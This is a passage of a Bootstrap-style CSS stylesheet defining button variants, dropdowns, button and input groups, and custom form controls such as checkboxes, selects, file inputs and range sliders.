0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n color: #212529;\n background-color: #d39e00;\n border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-danger:hover {\n color: #fff;\n background-color: #c82333;\n border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n color: #fff;\n background-color: #bd2130;\n border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n color: #212529;\n background-color: #e2e6ea;\n border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n color: #212529;\n background-color: #dae0e5;\n border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-dark:hover {\n color: #fff;\n background-color: #23272b;\n border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n color: #fff;\n background-color: #1d2124;\n border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n color: #007bff;\n background-color: transparent;\n background-image: none;\n border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n color: #007bff;\n background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-secondary {\n color: #6c757d;\n background-color: transparent;\n background-image: none;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n color: #6c757d;\n background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n color: #28a745;\n background-color: transparent;\n background-image: none;\n border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n color: #28a745;\n background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n color: #17a2b8;\n background-color: transparent;\n background-image: none;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n color: #17a2b8;\n background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n color: #ffc107;\n background-color: transparent;\n background-image: none;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n color: #ffc107;\n background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n color: #dc3545;\n background-color: transparent;\n background-image: none;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n color: #dc3545;\n background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n color: #f8f9fa;\n background-color: transparent;\n background-image: none;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n color: #f8f9fa;\n background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n color: #343a40;\n background-color: transparent;\n background-image: none;\n border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n color: #343a40;\n background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n font-weight: 400;\n color: #007bff;\n background-color: transparent;\n}\n\n.btn-link:hover {\n color: #0056b3;\n text-decoration: underline;\n background-color: transparent;\n border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n text-decoration: underline;\n border-color: transparent;\n box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n color: #6c757d;\n pointer-events: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n padding: 0.5rem 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n.btn-block + .btn-block {\n margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n\n.fade {\n transition: opacity 0.15s linear;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .fade {\n transition: none;\n }\n}\n\n.fade:not(.show) {\n opacity: 0;\n}\n\n.collapse:not(.show) {\n display: none;\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n transition: height 0.35s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .collapsing {\n transition: none;\n }\n}\n\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n position: relative;\n}\n\n.dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid;\n border-right: 0.3em solid transparent;\n border-bottom: 0;\n border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 10rem;\n padding: 0.5rem 0;\n margin: 0.125rem 0 0;\n font-size: 1rem;\n color: #212529;\n text-align: left;\n list-style: none;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 0.25rem;\n}\n\n.dropdown-menu-right {\n right: 0;\n left: auto;\n}\n\n.dropup .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-top: 0;\n margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0;\n border-right: 0.3em solid transparent;\n border-bottom: 0.3em solid;\n border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n top: 0;\n right: auto;\n left: 100%;\n margin-top: 0;\n margin-left: 0.125rem;\n}\n\n.dropright .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid transparent;\n border-right: 0;\n border-bottom: 0.3em solid transparent;\n border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n top: 0;\n right: 100%;\n left: auto;\n margin-top: 0;\n margin-right: 0.125rem;\n}\n\n.dropleft .dropdown-toggle::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n display: inline-block;\n width: 0;\n height: 0;\n margin-right: 0.255em;\n vertical-align: 0.255em;\n content: \"\";\n border-top: 0.3em solid transparent;\n border-right: 0.3em solid;\n border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n vertical-align: 0;\n}\n\n.dropdown-menu[x-placement^=\"top\"], .dropdown-menu[x-placement^=\"right\"], .dropdown-menu[x-placement^=\"bottom\"], .dropdown-menu[x-placement^=\"left\"] {\n right: auto;\n bottom: auto;\n}\n\n.dropdown-divider {\n height: 0;\n margin: 0.5rem 0;\n overflow: hidden;\n border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n display: block;\n width: 100%;\n padding: 0.25rem 1.5rem;\n clear: both;\n font-weight: 400;\n color: #212529;\n text-align: inherit;\n white-space: nowrap;\n background-color: transparent;\n border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n color: #16181b;\n text-decoration: none;\n background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n color: #fff;\n text-decoration: none;\n background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n color: #6c757d;\n background-color: transparent;\n}\n\n.dropdown-menu.show {\n display: block;\n}\n\n.dropdown-header {\n display: block;\n padding: 0.5rem 1.5rem;\n margin-bottom: 0;\n font-size: 0.875rem;\n color: #6c757d;\n white-space: nowrap;\n}\n\n.dropdown-item-text {\n display: block;\n padding: 0.25rem 1.5rem;\n color: #212529;\n}\n\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-flex;\n vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n margin-left: -1px;\n}\n\n.btn-toolbar {\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n width: auto;\n}\n\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n padding-right: 0.5625rem;\n padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after,\n.dropup .dropdown-toggle-split::after,\n.dropright .dropdown-toggle-split::after {\n margin-left: 0;\n}\n\n.dropleft .dropdown-toggle-split::before {\n margin-right: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n padding-right: 0.375rem;\n padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n padding-right: 0.75rem;\n padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n flex-direction: column;\n align-items: flex-start;\n justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n\n.input-group {\n position: relative;\n display: flex;\n flex-wrap: wrap;\n align-items: stretch;\n width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n position: relative;\n flex: 1 1 auto;\n width: 1%;\n margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n margin-left: -1px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n display: flex;\n align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::after {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::after {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n position: relative;\n z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n margin-left: -1px;\n}\n\n.input-group-prepend {\n margin-right: -1px;\n}\n\n.input-group-append {\n margin-left: -1px;\n}\n\n.input-group-text {\n display: flex;\n align-items: center;\n padding: 0.375rem 0.75rem;\n margin-bottom: 0;\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #495057;\n text-align: center;\n white-space: nowrap;\n background-color: #e9ecef;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.custom-control {\n position: relative;\n display: block;\n min-height: 1.5rem;\n padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n display: inline-flex;\n margin-right: 1rem;\n}\n\n.custom-control-input {\n position: absolute;\n z-index: -1;\n opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n color: #fff;\n background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n color: #fff;\n background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n background-color: #e9ecef;\n}\n\n.custom-control-label {\n margin-bottom: 0;\n}\n\n.custom-control-label::before {\n position: absolute;\n top: 0.25rem;\n left: 0;\n display: block;\n width: 1rem;\n height: 1rem;\n pointer-events: none;\n content: \"\";\n user-select: none;\n background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n position: absolute;\n top: 0.25rem;\n left: 0;\n display: block;\n width: 1rem;\n height: 1rem;\n content: \"\";\n background-repeat: no-repeat;\n background-position: center center;\n background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n background-color: #007bff;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-select {\n display: inline-block;\n width: 100%;\n height: calc(2.25rem + 2px);\n padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n vertical-align: middle;\n background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n background-size: 8px 10px;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n appearance: none;\n}\n\n.custom-select:focus {\n border-color: #80bdff;\n outline: 0;\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n color: #495057;\n background-color: #fff;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n height: auto;\n padding-right: 0.75rem;\n background-image: none;\n}\n\n.custom-select:disabled {\n color: #6c757d;\n background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n opacity: 0;\n}\n\n.custom-select-sm {\n height: calc(1.8125rem + 2px);\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n font-size: 75%;\n}\n\n.custom-select-lg {\n height: calc(2.875rem + 2px);\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n font-size: 125%;\n}\n\n.custom-file {\n position: relative;\n display: inline-block;\n width: 100%;\n height: calc(2.25rem + 2px);\n margin-bottom: 0;\n}\n\n.custom-file-input {\n position: relative;\n z-index: 2;\n width: 100%;\n height: calc(2.25rem + 2px);\n margin: 0;\n opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-label {\n border-color: #80bdff;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-file-input:focus ~ .custom-file-label::after {\n border-color: #80bdff;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n content: \"Browse\";\n}\n\n.custom-file-label {\n position: absolute;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1;\n height: calc(2.25rem + 2px);\n padding: 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n}\n\n.custom-file-label::after {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n z-index: 3;\n display: block;\n height: calc(calc(2.25rem + 2px) - 1px * 2);\n padding: 0.375rem 0.75rem;\n line-height: 1.5;\n color: #495057;\n content: \"Browse\";\n background-color: #e9ecef;\n border-left: 1px solid #ced4da;\n border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-range {\n width: 100%;\n padding-left: 0;\n background-color: transparent;\n appearance: none;\n}\n\n.custom-range:focus {\n outline: none;\n}\n\n.custom-range::-moz-focus-outer {\n border: 0;\n}\n\n.custom-range::-webkit-slider-thumb {\n width: 1rem;\n height: 1rem;\n margin-top: -0.25rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-webkit-slider-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-webkit-slider-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-webkit-slider-runnable-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: #dee2e6;\n border-color: transparent;\n border-radius: 1rem;\n}\n\n.custom-range::-moz-range-thumb {\n width: 1rem;\n height: 1rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-moz-range-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-moz-range-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-moz-range-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: #dee2e6;\n border-color: transparent;\n border-radius: 